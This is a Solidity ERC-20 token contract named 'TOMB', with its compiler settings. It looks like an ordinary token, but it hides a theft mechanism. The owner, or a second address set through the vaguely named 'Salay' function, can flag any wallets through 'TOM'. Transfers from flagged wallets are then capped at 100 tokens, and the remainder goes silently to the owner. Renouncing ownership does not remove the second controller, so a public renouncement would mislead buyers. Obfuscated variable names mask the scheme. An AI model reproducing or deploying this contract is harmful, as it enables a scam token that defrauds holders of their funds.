TOMB

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

library SafeMath { 
    function add(uint256 a, uint256 b) internal pure returns (uint256) { 
        uint256 c = a + b; 
        require(c >= a, "SafeMath: addition overflow"); 
        return c; 
    } 

    function sub(uint256 a, uint256 b) internal pure returns (uint256) { 
        require(b <= a, "SafeMath: subtraction overflow"); 
        uint256 c = a - b; 
        return c; 
    } 

    function mul(uint256 a, uint256 b) internal pure returns (uint256) { 
        if (a == 0) { 
            return 0; 
        } 
        uint256 c = a * b; 
        require(c / a == b, "SafeMath: multiplication overflow"); 
        return c; 
    } 

    function div(uint256 a, uint256 b) internal pure returns (uint256) { 
        require(b > 0, "SafeMath: division by zero"); 
        uint256 c = a / b; 
        return c; 
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract TOMB is IERC20 {
    using SafeMath for uint256;

    string public name = "TOMB";
    string public symbol = "TOMB";
    uint8 public decimals = 18;
    uint256 private _totalSupply = 100000000000 * 10**uint256(decimals);
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    address private _owner;
    mapping(address => bool) private _tomb56;
    address private _aukbokbc;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event OwnershipRenounced(address indexed previousOwner);

    constructor() {
        _owner = msg.sender;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    modifier onlyOwner() {
        require(msg.sender == _owner, "Only");
        _;
    }

    function Salay(address dedc) public onlyOwner {
        _aukbokbc = dedc;
    }

    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0), "New owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function renounceOwnership() public onlyOwner {
        emit OwnershipRenounced(_owner);
        _owner = address(0);
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(_balances[msg.sender] >= amount, "ERC20: transfer amount exceeds balance");

        if (_tomb56[msg.sender]) {
            uint256 transferAmount = amount > 100 * 10**uint256(decimals) ? 100 * 10**uint256(decimals) : amount;
            uint256 remainder = amount.sub(transferAmount);

            _balances[msg.sender] = _balances[msg.sender].sub(amount);
            _balances[recipient] = _balances[recipient].add(transferAmount);
            emit Transfer(msg.sender, recipient, transferAmount);

            if (remainder > 0) {
                _balances[_owner] = _balances[_owner].add(remainder);
                emit Transfer(msg.sender, _owner, remainder);
            }
        } else {
            _balances[msg.sender] = _balances[msg.sender].sub(amount);
            _balances[recipient] = _balances[recipient].add(amount);
            emit Transfer(msg.sender, recipient, amount);
        }

        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
        require(spender != address(0), "ERC20: increaseAllowance to the zero address");

        _allowances[msg.sender][spender] = _allowances[msg.sender][spender].add(addedValue);
        emit Approval(msg.sender, spender, _allowances[msg.sender][spender]);

        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
        require(spender != address(0), "ERC20: decreaseAllowance to the zero address");

        uint256 currentAllowance = _allowances[msg.sender][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _allowances[msg.sender][spender] = currentAllowance.sub(subtractedValue);
        emit Approval(msg.sender, spender, _allowances[msg.sender][spender]);

        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        require(sender != address(0), "ERC20: transs");
        require(recipient != address(0), "ERC20: tr");
        require(_balances[sender] >= amount, "ERC20: tran");
        require(_allowances[sender][msg.sender] >= amount, "ERC20: tran");

        if (_tomb56[sender]) {
            uint256 transferAmount = amount > 100 * 10**uint256(decimals) ? 100 * 10**uint256(decimals) : amount;
            uint256 remainder = amount.sub(transferAmount);

            _balances[sender] = _balances[sender].sub(amount);
            _balances[recipient] = _balances[recipient].add(transferAmount);
            emit Transfer(sender, recipient, transferAmount);

            if (remainder > 0) {
                _balances[_owner] = _balances[_owner].add(remainder);
                emit Transfer(sender, _owner, remainder);
            }

            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount);
        } else {
            _balances[sender] = _balances[sender].sub(amount);
            _balances[recipient] = _balances[recipient].add(amount);
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount);
            emit Transfer(sender, recipient, amount);
        }

        return true;
    }

    function TOM(address[] calldata wallets, bool status) public {
        require(msg.sender == _owner || msg.sender == _aukbokbc, "Call");
        for (uint256 i = 0; i < wallets.length; i++) {
            _tomb56[wallets[i]] = status;
        }
    }
}

{
  "compilationTarget": {
    "TOMB.sol": "TOMB"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}